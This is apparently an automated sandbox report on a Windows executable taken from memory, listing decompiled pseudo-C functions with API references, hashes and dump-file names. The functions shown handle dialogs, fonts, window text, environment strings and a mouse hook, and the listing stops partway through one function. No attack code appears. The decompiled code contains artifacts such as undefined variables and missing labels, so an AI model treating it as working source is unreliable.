Part of subcall function 00408E57: GetDlgItem.USER32 ref: 00408EEF
Part of subcall function 00408E57: GetDlgItem.USER32 ref: 00408EF9
Part of subcall function 00408E57: GetWindowLongW.USER32(?,000000F0), ref: 00408F05
Part of subcall function 00408E57: SetWindowLongW.USER32 ref: 00408F14
Part of subcall function 00408E57: GetDlgItem.USER32 ref: 00408F22
Part of subcall function 00408E57: GetDlgItem.USER32 ref: 00408F30
Part of subcall function 00408E57: GetWindowLongW.USER32(000000F0,000000F0), ref: 00408F3C
Part of subcall function 00408E57: SetWindowLongW.USER32 ref: 00408F4B
Part of subcall function 00408E57: GetDlgItem.USER32 ref: 00408F58

Part of subcall function 004085BD: GetDlgItem.USER32 ref: 004085D3
Part of subcall function 004085BD: SetFocus.USER32(00000000,?,?,?,?,00408678,?), ref: 004085D6
Part of subcall function 004085BD: GetDlgItem.USER32 ref: 004085E6
Part of subcall function 004085BD: GetDlgItem.USER32 ref: 004085FB
Part of subcall function 004085BD: SendMessageW.USER32(00000000,000000B1,0000002C,0000002C), ref: 00408605

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Item$Window$Long$MessageSendSystem$HandleLoadMetricsModule$DirectoryFileFocusIconImageInfoShowmemset
String ID:
API String ID: 358862773-0
Opcode ID: 81ec041cacca2d59917e046878064d1098f3cedd17596b8ea65ee1b3a9ebd4b2
Instruction ID: 2561db17b14fe2180de4adf028dc837e5a6c8d79ccad7adf452e374fc0286804
Opcode Fuzzy Hash: 81ec041cacca2d59917e046878064d1098f3cedd17596b8ea65ee1b3a9ebd4b2
Instruction Fuzzy Hash: 941186B1E40314A7DB20ABA5DD49F9E77BCAB84B04F00456FB651E32C1DBB8D9448B68

Uniqueness

Uniqueness Score: -1.00%

Function 004169D1, Relevance: 7.5, APIs: 5, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E004169D1(intOrPtr* __ecx) {
				void* _t5;

				_push( *((intOrPtr*)(__ecx + 0x34)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x28)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x18)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0xc)));
				L0041C160();
				_push( *__ecx);
				L0041C160();
				return _t5;
			}

0x004169d4
0x004169d7
0x004169dc
0x004169df
0x004169e4
0x004169e7
0x004169ec
0x004169ef
0x004169f4
0x004169f6
0x004169ff

APIs

??3@YAXPAX@Z.MSVCRT ref: 004169D7
??3@YAXPAX@Z.MSVCRT ref: 004169DF
??3@YAXPAX@Z.MSVCRT ref: 004169E7
??3@YAXPAX@Z.MSVCRT ref: 004169EF
??3@YAXPAX@Z.MSVCRT ref: 004169F6

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 2f1dc90039608aa64530f4edc2d67106cfe286a53b84a5a9d782c4090705416f
Instruction ID: f2f6c36ad054111763b42ac461140cf9b87e5ea67fb04b9142b7eb6dfeeb418c
Opcode Fuzzy Hash: 2f1dc90039608aa64530f4edc2d67106cfe286a53b84a5a9d782c4090705416f
Instruction Fuzzy Hash: 15D0C7395C0534BACA223B16EC439C77AB1AF00B18305056FB08611433DAD67CE19E4C

Uniqueness

Uniqueness Score: -1.00%

Function 00408345, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00408345(void* __ecx) {
				char _v16;
				short _v528;
				void* _t16;
				WCHAR* _t26;
				void* _t28;

				_t28 = __ecx;
				E00414839( &_v16, __ecx + 0x3c);
				if( *((intOrPtr*)(__ecx + 0x48)) > 0) {
					_t26 = 0x1d;
					wsprintfW( &_v528, L" (%d%s)",  *((intOrPtr*)(__ecx + 0x48)), E00403CE0(_t26));
					E00414922( &_v16,  &_v528);
				}
				_t16 = E0040790B(GetDlgItem( *(_t28 + 4),  *(_t28 + 0x4c)), _v16);
				_push(_v16);
				L0041C160();
				return _t16;
			}

0x0040834f
0x00408358
0x00408361
0x00408365
0x0040837b
0x0040838e
0x0040838e
0x004083a6
0x004083ab
0x004083ae
0x004083b6

APIs

Part of subcall function 00414839: memcpy.MSVCRT ref: 00414855

wsprintfW.USER32 ref: 0040837B

Part of subcall function 00414922: memcpy.MSVCRT ref: 0041494F

GetDlgItem.USER32 ref: 0040839D
??3@YAXPAX@Z.MSVCRT ref: 004083AE

Strings

(%d%s), xrefs: 00408375

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$??3@Itemwsprintf
String ID: (%d%s)
API String ID: 1424909225-2087557067
Opcode ID: 9673e4c991bfaf4a16210ea43dfd6a7d0f0c942b29797aefb73ff1fd45a5a84c
Instruction ID: 1095c0e5d4e8a60263cd01f69a665fc3e98801ae7abcb9bbd600e73924aed479
Opcode Fuzzy Hash: 9673e4c991bfaf4a16210ea43dfd6a7d0f0c942b29797aefb73ff1fd45a5a84c
Instruction Fuzzy Hash: BAF0A9B18002187FDB21BB55DC06EDE77BCEF04704F10456BB552A1492DB75AA448B98

Uniqueness

Uniqueness Score: -1.00%

Function 0040457E, Relevance: 6.1, APIs: 4, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040457E(signed short** __ecx, void* __edi, void* __eflags) {
				signed short* _v8;
				signed short** _v12;
				char _v24;
				char _v36;
				char _v48;
				char _v60;
				void* _t30;
				void* _t33;
				signed int _t37;
				void* _t39;
				signed int _t46;
				signed int _t66;
				signed short* _t72;

				_v12 = __ecx;
				E004147DF(_t30,  &_v24);
				_t72 =  *__ecx;
				_t46 =  *_t72 & 0x0000ffff;
				if(_t46 != 0) {
					_v8 =  &(_t72[2]);
					do {
						if(_t46 != 0x7e) {
							L10:
							E00401585( &_v24, _t46);
							_t72 =  &(_t72[1]);
							_t25 =  &_v8;
							 *_t25 =  &(_v8[1]);
							__eflags =  *_t25;
						} else {
							_t66 = _t72[1] & 0x0000ffff;
							_t76 = _t66 - 0x78;
							if(_t66 != 0x78) {
								L6:
								__eflags = _t66 - 0x58;
								if(__eflags != 0) {
									goto L10;
								} else {
									_t68 = E004032FD(_v8, __eflags);
									__eflags = _t36;
									if(__eflags < 0) {
										goto L10;
									} else {
										_t37 = E004032FD( &(_t72[4]), __eflags);
										__eflags = _t37;
										if(_t37 < 0) {
											goto L10;
										} else {
											E00401585( &_v24, _t68 << 0x00000008 | _t37);
											_t72 =  &(_t72[6]);
											_v8 =  &(_v8[6]);
										}
									}
								}
							} else {
								_t39 = E004032FD(_v8, _t76);
								_t77 = _t39;
								if(_t39 < 0) {
									goto L6;
								} else {
									E004147DF(E004143E4( &_v48, _t39),  &_v36);
									E004148C7( &_v36, E00404346( &_v60,  &_v48, _t77, 0));
									_push(_v60);
									L0041C160();
									E00414962( &_v24, _t77,  &_v36);
									_push(_v36);
									_v8 =  &(_v8[4]);
									_t72 =  &(_t72[4]);
									L0041C160();
									_push(_v48);
									L0041C160();
								}
							}
						}
						_t46 =  *_t72 & 0x0000ffff;
					} while (_t46 != 0);
				}
				_t33 = E004148C7(_v12,  &_v24);
				_push(_v24);
				L0041C160();
				return _t33;
			}

APIs

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

??3@YAXPAX@Z.MSVCRT ref: 00404680

Part of subcall function 00404346: MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,00000000,004045E5,00000000,00000000,?,73B749F0,00000000), ref: 00404372

Part of subcall function 004148C7: ??2@YAPAXI@Z.MSVCRT ref: 004148EF
Part of subcall function 004148C7: ??3@YAXPAX@Z.MSVCRT ref: 004148F8
Part of subcall function 004148C7: memcpy.MSVCRT ref: 00414912

??3@YAXPAX@Z.MSVCRT ref: 004045F1

Part of subcall function 00414962: memcpy.MSVCRT ref: 00414985

??3@YAXPAX@Z.MSVCRT ref: 0040460D
??3@YAXPAX@Z.MSVCRT ref: 00404615

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$??2@memcpy$ByteCharMultiWide
String ID:
API String ID: 1626065140-0
Opcode ID: 5e7d55bdcbdcff9f689b1a943d5cefa6c611b1ce7668ccb6363ee27e1066ebe4
Instruction ID: b0a0a81bb6a2256ad0cd8ca21ba2997bb0ff50e184d4d55abff6c389da77fbe6
Opcode Fuzzy Hash: 5e7d55bdcbdcff9f689b1a943d5cefa6c611b1ce7668ccb6363ee27e1066ebe4
Instruction Fuzzy Hash: DB3172B2D001199BCB10FBA5CC928EEB7B4AEA1719B10047FE911731D1EF3D5E44DA28

Uniqueness

Uniqueness Score: -1.00%

Function 00407803, Relevance: 6.1, APIs: 4, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00407803(intOrPtr* __ecx, intOrPtr _a4, intOrPtr* _a8) {
				signed int _v8;
				intOrPtr _v16;
				char _v24;
				struct tagLOGFONTW _v500;
				intOrPtr _v504;
				intOrPtr _v508;
				void _v524;
				intOrPtr* _t27;
				void* _t33;
				intOrPtr* _t41;
				intOrPtr _t43;

				_v8 = _v8 & 0x00000000;
				_t41 = __ecx;
				_v524 = 0x1f4;
				if(SystemParametersInfoW(0x29, 0x1f4,  &_v524, 0) != 0) {
					_t43 =  *((intOrPtr*)(_t41 + 0x1c)) + _v508 - 0x1a;
					if(( *0x42245c & 0x00000200) == 0) {
						_t43 = _t43 + GetSystemMetrics(0x31);
					}
					_t33 = CreateFontIndirectW( &_v500);
					if(_t33 != 0) {
						_push(0x860);
						_push(_t33);
						_push( &_v24);
						_push(_a4);
						if( *((intOrPtr*)( *_t41 + 8))() != 0) {
							_t43 = _t43 + _v16;
							_v8 = 1;
						}
						DeleteObject(_t33);
					}
					_t27 = _a8;
					 *_t27 = _t43;
					 *((intOrPtr*)(_t27 + 4)) = _v504;
				}
				return _v8;
			}

APIs

SystemParametersInfoW.USER32 ref: 0040782A
GetSystemMetrics.USER32 ref: 00407851
CreateFontIndirectW.GDI32(?), ref: 00407860
DeleteObject.GDI32(00000000), ref: 0040788F

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: System$CreateDeleteFontIndirectInfoMetricsObjectParameters
String ID:
API String ID: 1900162674-0
Opcode ID: 6b0baed25e051eef8abb3c10058c87645c9df880ae66aa92677688f43f21874f
Instruction ID: 6ed76f481bb13851b2ba6c7269299cba647cb843460d982c1d226789c05f16d1
Opcode Fuzzy Hash: 6b0baed25e051eef8abb3c10058c87645c9df880ae66aa92677688f43f21874f
Instruction Fuzzy Hash: 6E1133B6E00219EFDB109F54DD88FEAB7B8EB08304F04806AED15A7291DB74AE44CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00404475, Relevance: 6.0, APIs: 4, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00404475(WCHAR** __ecx) {
				char _v16;
				void* _t8;
				long _t11;
				long _t12;
				void* _t17;
				void* _t29;
				WCHAR* _t30;
				WCHAR** _t32;

				_t32 = __ecx;
				E004147DF(_t8,  &_v16);
				_t30 =  *__ecx;
				_t11 = ExpandEnvironmentStringsW(_t30, E0040420B( &_v16, _t29, 1), 1);
				if(_t11 != 0) {
					_t12 = _t11 + 1;
					ExpandEnvironmentStringsW( *_t32, E0040420B( &_v16, _t29, _t12), _t12);
					E004041F0( &_v16);
					_t17 = E004148C7(_t32,  &_v16);
					_push(_v16);
					L0041C160();
					return _t17;
				}
				_push(_v16);
				L0041C160();
				return _t11;
			}

0x0040447c
0x00404482
0x00404487
0x0040449d
0x004044a1
0x004044b1
0x004044be
0x004044c3
0x004044ce
0x004044d3
0x004044d6
0x00000000
0x004044dc
0x004044a3
0x004044a6
0x00000000

APIs

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

Part of subcall function 0040420B: wcsncpy.MSVCRT ref: 00404239
Part of subcall function 0040420B: ??3@YAXPAX@Z.MSVCRT ref: 00404244

ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000001,00000001,00000000,?,00000000,00000000,?), ref: 0040449D
??3@YAXPAX@Z.MSVCRT ref: 004044A6
ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000001,00000001,00000000), ref: 004044BE
??3@YAXPAX@Z.MSVCRT ref: 004044D6

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$EnvironmentExpandStrings$??2@wcsncpy
String ID:
API String ID: 3034541985-0
Opcode ID: a1201e00ebbe42c888554cef6be3fc7eae31bc125472a15e7d02ceddf66335d8
Instruction ID: 6aaab2933dda83b848260475bd0ce4bd17d474790b6213925c89a090bfd6a3a1
Opcode Fuzzy Hash: a1201e00ebbe42c888554cef6be3fc7eae31bc125472a15e7d02ceddf66335d8
Instruction Fuzzy Hash: 69F086B19001087ED714B755EC52DEE73BCDF80714B20417FF511B2092DB746D458A68

Uniqueness

Uniqueness Score: -1.00%

Function 00408CE2, Relevance: 6.0, APIs: 4, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00408CE2(int _a4, int _a8, struct tagPOINT* _a12) {
				struct tagRECT _v20;
				intOrPtr _t11;
				intOrPtr _t16;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr* _t23;
				struct tagPOINT* _t25;

				_t11 =  *0x4228b4; // 0x0
				if(_t11 == 0) {
					return 0;
				}
				_t25 = _a12;
				if( *((intOrPtr*)(_t11 + 0x48)) <= 0) {
					L9:
					return CallNextHookEx( *0x4228b8, _a4, _a8, _t25);
				}
				_t21 =  *0x422600; // 0x202
				_t23 = 0x422600;
				while(_t21 != 0) {
					if(_t21 == _a8) {
						ScreenToClient( *(_t11 + 4), _t25);
						_t16 =  *0x4228b4; // 0x0
						GetClientRect( *(_t16 + 4),  &_v20);
						_push(_t25->y);
						if(PtInRect( &_v20,  *_t25) != 0) {
							_t22 =  *0x4228b4; // 0x0
							E0040846F(_t22);
						}
						goto L9;
					}
					_t23 = _t23 + 4;
					_t21 =  *_t23;
				}
				goto L9;
			}

APIs

ScreenToClient.USER32 ref: 00408D1C
GetClientRect.USER32 ref: 00408D2E
PtInRect.USER32(?,?,?), ref: 00408D3D

Part of subcall function 0040846F: KillTimer.USER32(?,00000001,?,00408D52), ref: 0040847D

CallNextHookEx.USER32 ref: 00408D5F

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ClientRect$CallHookKillNextScreenTimer
String ID:
API String ID: 3015594791-0
Opcode ID: 993c2614d7880d53dfabe33bba4063a44cb0ef45497057784dd9015b7f499a48
Instruction ID: 3a3e0b2ee197b87f3047a46ed79295dbf0db4e011d250cd12eb6af0489ec551e
Opcode Fuzzy Hash: 993c2614d7880d53dfabe33bba4063a44cb0ef45497057784dd9015b7f499a48
Instruction Fuzzy Hash: 8001AD31200109EFDF24EF64DE45EAA7BA5FF14300704863EE895A22B0DB78E811DB19

Uniqueness

Uniqueness Score: -1.00%

Function 00404B33, Relevance: 6.0, APIs: 4, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00404B33(struct HWND__* __ecx) {
				WCHAR* _v16;
				char _v28;
				char _v40;
				int _t19;
				struct HWND__* _t31;
				void* _t33;

				_t31 = __ecx;
				E00404AF5( &_v16, __ecx, _t33);
				E00405546( &_v16, _t33);
				E00414803( &_v40, "%");
				E00414803( &_v28, L"%^");
				E00414BA6( &_v16,  &_v28,  &_v40);
				_push(_v28);
				L0041C160();
				_push(_v40);
				L0041C160();
				_t19 = SetWindowTextW(_t31, _v16);
				_push(_v16);
				L0041C160();
				return _t19;
			}

0x00404b3a
0x00404b41
0x00404b49
0x00404b56
0x00404b63
0x00404b73
0x00404b78
0x00404b7b
0x00404b80
0x00404b83
0x00404b8e
0x00404b94
0x00404b99
0x00404ba3

APIs

Part of subcall function 00404AF5: GetWindowTextLengthW.USER32(?), ref: 00404B02
Part of subcall function 00404AF5: GetWindowTextW.USER32 ref: 00404B1C

Part of subcall function 00414803: memcpy.MSVCRT ref: 00414829

??3@YAXPAX@Z.MSVCRT ref: 00404B7B
??3@YAXPAX@Z.MSVCRT ref: 00404B83
SetWindowTextW.USER32(?,?), ref: 00404B8E
??3@YAXPAX@Z.MSVCRT ref: 00404B99

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@TextWindow$Lengthmemcpy
String ID:
API String ID: 396479319-0
Opcode ID: ef16cb83b1a7ed00dcace484179177180cb7813ae2e53c30f1211cb97c3539ec
Instruction ID: 19ea8e6cb93d9cd3ba04d51c560a34885da5182b26a5070d63b94fab34289d6b
Opcode Fuzzy Hash: ef16cb83b1a7ed00dcace484179177180cb7813ae2e53c30f1211cb97c3539ec
Instruction Fuzzy Hash: AFF0E176D440187ACB05FBD5EC438DEB7B99E44708B2041ABF501B2095DE756E85CA9C

Uniqueness

Uniqueness Score: -1.00%

Function 00414283, Relevance: 6.0, APIs: 4, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00414283(void** __ecx, void* _a4) {
				void* _v0;
				void* _v20;
				void* _t14;
				void* _t16;
				void* _t19;
				void* _t21;
				void* _t22;
				void** _t23;
				void* _t26;
				void* _t27;
				void** _t28;
				void** _t29;

				_t23 = __ecx;
				_t26 = _a4;
				_t28 = __ecx;
				if(_t26 < __ecx[1] || _t26 >= 0x40000000) {
					_push(0x41fbdc);
					_push( &_a4);
					_a4 = 0x13329ac;
					L0041C310();
					asm("int3");
					_t21 = _v20;
					_push(_t28);
					_push(_t26);
					_t29 = _t23;
					if(_t21 >= 0x40000000) {
						_push(0x41fbdc);
						_push( &_v0);
						_v0 = 0x13329ac;
						L0041C310();
					}
					_t11 = _t21 + 1; // 0x13329ad
					_t14 = _t11;
					_push(_t14);
					L0041C16C();
					_t27 = _t14;
					 *_t27 = 0;
					_push( *_t29);
					L0041C160();
					 *_t29 = _t27;
					_t29[2] = _t21;
					return _t14;
				} else {
					_t16 = _t26 + 1;
					_push(_t16);
					L0041C16C();
					_t22 = _t16;
					_t19 = memcpy(_t22,  *__ecx, __ecx[1] + 1);
					_push( *_t28);
					L0041C160();
					_t28[2] = _t26;
					 *_t28 = _t22;
					return _t19;
				}
			}

APIs

??2@YAPAXI@Z.MSVCRT ref: 0041429F
memcpy.MSVCRT ref: 004142AE
??3@YAXPAX@Z.MSVCRT ref: 004142B5
_CxxThrowException.MSVCRT(00566858,0041FBDC), ref: 004142D9

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@??3@ExceptionThrowmemcpy
String ID:
API String ID: 3462485524-0
Opcode ID: 57869b70c59cb2356f85a24d65bfeaea13d2154f7f3406d0e59cf26c877a280c
Instruction ID: 5b66cd78a0db593bdef5d09f9cd12a00abbc121f78fce6118f4eaf4c7a2e81d2
Opcode Fuzzy Hash: 57869b70c59cb2356f85a24d65bfeaea13d2154f7f3406d0e59cf26c877a280c
Instruction Fuzzy Hash: 6DF0BB75140208BFC710DF55DCC198BF7EDEF54798711492FF94583102D275A8C48BA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040C140, Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040C140(void* __ebx, intOrPtr* __ecx, void* __eflags) {
				void* _t3;
				void* _t7;
				intOrPtr* _t15;
				intOrPtr* _t16;

				_t15 = __ecx;
				EnterCriticalSection(0x4249f8);
				_t16 = _t15 + 0x10;
				if(E0040BEA0(_t16) != 0) {
					L4:
					_push(_t16);
					_t3 = E0040C0D0(0x422628);
				} else {
					_t7 = E0040BEA0(_t16);
					if(_t7 == 0) {
						E0040B810(_t16);
					}
					_t3 = E0040BFD0(_t15, _t16);
					if(_t7 == 0) {
						goto L4;
					}
				}
				LeaveCriticalSection(0x4249f8);
				return _t3;
			}

APIs

EnterCriticalSection.KERNEL32(004249F8,?,?,0040C1CF,?,?,?,?,?,0041CA20,000000FF), ref: 0040C149
LeaveCriticalSection.KERNEL32(004249F8,?,?,?,?,0040C1CF,?,?,?,?,?,0041CA20,000000FF), ref: 0040C194

Part of subcall function 0040BEA0: memmove.MSVCRT ref: 0040BF0B

Part of subcall function 0040B810: memset.MSVCRT ref: 0040B869

Strings

(&B, xrefs: 0040C160
(&B, xrefs: 0040C185

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeavememmovememset
String ID: (&B$(&B
API String ID: 2443406628-3506096430
Opcode ID: f016356fa7e24247763b21a98c0f9a686db0cf529d991d74a4701e524a56e4fd
Instruction ID: 853edd7aaeb107b7cb5601c09f28b255d6913e1c7a09ba2968700e737119d554
Opcode Fuzzy Hash: f016356fa7e24247763b21a98c0f9a686db0cf529d991d74a4701e524a56e4fd
Instruction Fuzzy Hash: B6E08C71382121628A1533393C55AFA261EDEC6348B45023BB6417B2C2CFAD184786FD

Uniqueness

Uniqueness Score: -1.00%

Function 00408183, Relevance: 6.0, APIs: 4, Instructions: 34
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408183(void* __ecx) {
				struct tagLOGFONTW _v96;
				int _t8;
				long _t11;
				int _t15;

				if(( *0x42245c & 0x00000010) != 0) {
					_t8 = GetObjectW( *(__ecx + 0x34), 0x5c,  &_v96);
					if(_t8 != 0) {
						_v96.lfWeight = 0x2bc;
						_t11 = CreateFontIndirectW( &_v96);
						_t15 = _t11;
						if(_t15 != 0) {
							_t11 = SendMessageW(GetDlgItem( *(__ecx + 4), 0x4b5), 0x30, _t15, 0);
						}
						return _t11;
					}
				}
				return _t8;
			}

0x00408193
0x0040819e
0x004081a6
0x004081ad
0x004081b4
0x004081ba
0x004081be
0x004081d4
0x004081d4
0x00000000
0x004081da
0x004081a6
0x004081dd

APIs

GetObjectW.GDI32(?,0000005C,?), ref: 0040819E
CreateFontIndirectW.GDI32(?), ref: 004081B4
GetDlgItem.USER32 ref: 004081C8
SendMessageW.USER32(00000000,00000030,00000000,00000000), ref: 004081D4

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateFontIndirectItemMessageObjectSend
String ID:
API String ID: 2001801573-0
Opcode ID: afbff07d09dddf9371f97f906327bbbd58aa03dbd1351fda712479fe90e32f0f
Instruction ID: d5b718cc934acb00f13f44d7e909b03c4c551f7785cdaa53379e29aff312fd17
Opcode Fuzzy Hash: afbff07d09dddf9371f97f906327bbbd58aa03dbd1351fda712479fe90e32f0f
Instruction Fuzzy Hash: 70F054B5900714ABD7205B94DD09F8B7BACAF48B15F048039AD52E51D5DBB4D4068B28

Uniqueness

Uniqueness Score: -1.00%

Function 004038D4, Relevance: 6.0, APIs: 4, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004038D4(struct HWND__* __ecx, struct tagPOINT* __edx) {
				struct HWND__* _t1;
				struct HWND__* _t7;
				struct HWND__* _t10;
				struct tagPOINT* _t12;

				_t10 = __ecx;
				_t12 = __edx;
				_t1 = GetParent(__ecx);
				_t7 = _t1;
				if(_t7 != 0) {
					GetWindowRect(_t10, _t12);
					ScreenToClient(_t7, _t12);
					ScreenToClient(_t7, _t12 + 8);
					return 1;
				}
				return _t1;
			}

0x004038d7
0x004038da
0x004038dc
0x004038e2
0x004038e6
0x004038ea
0x004038f8
0x004038ff
0x00000000
0x00403903
0x00403907

APIs

GetParent.USER32 ref: 004038DC
GetWindowRect.USER32 ref: 004038EA
ScreenToClient.USER32 ref: 004038F8
ScreenToClient.USER32 ref: 004038FF

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ClientScreen$ParentRectWindow
String ID:
API String ID: 2099118873-0
Opcode ID: 4c92e9c479757e8e066bde25e06fea40a487b1c64e9eb2093d4279233fbb5f16
Instruction ID: 3d7e383402d4b386d472006189a1f244a9290001d11243c4274d9f08879646a2
Opcode Fuzzy Hash: 4c92e9c479757e8e066bde25e06fea40a487b1c64e9eb2093d4279233fbb5f16
Instruction Fuzzy Hash: F5E012B7A012256B931427B76C88CEB9F5CDDD65763064476F919D2210C9B8DC0185B4

Uniqueness

Uniqueness Score: -1.00%

Function 004059A3, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E004059A3(intOrPtr __ecx, void* __edx, void* __eflags, signed short* _a4, char _a7, signed int _a8) {
				signed int _v8;
				intOrPtr _v12;
				char _v24;
				void* _t23;
				signed int _t25;
				signed int _t27;
				void* _t34;
				signed short* _t48;
				signed short* _t49;

				_v12 = __ecx;
				_t34 = __edx;
				E004147DF(_t23,  &_v24);
				_t48 = _a4;
				_t49 = _t48;
				_a7 = 0;
				while(1) {
					L1:
					_t25 =  *_t49 & 0x0000ffff;
					if(_t25 >= 0x30 && _t25 <= 0x39) {
					}
					L9:
					E00414864( &_v24, _t34);
					E00401585( &_v24,  *_t49 & 0x0000ffff);
					_v8 = _v8 & 0x00000000;
					_t49 =  &(_t49[1]);
					if(E00404F59() == 0) {
						L1:
						_t25 =  *_t49 & 0x0000ffff;
						if(_t25 >= 0x30 && _t25 <= 0x39) {
						}
						goto L3;
					} else {
						L10:
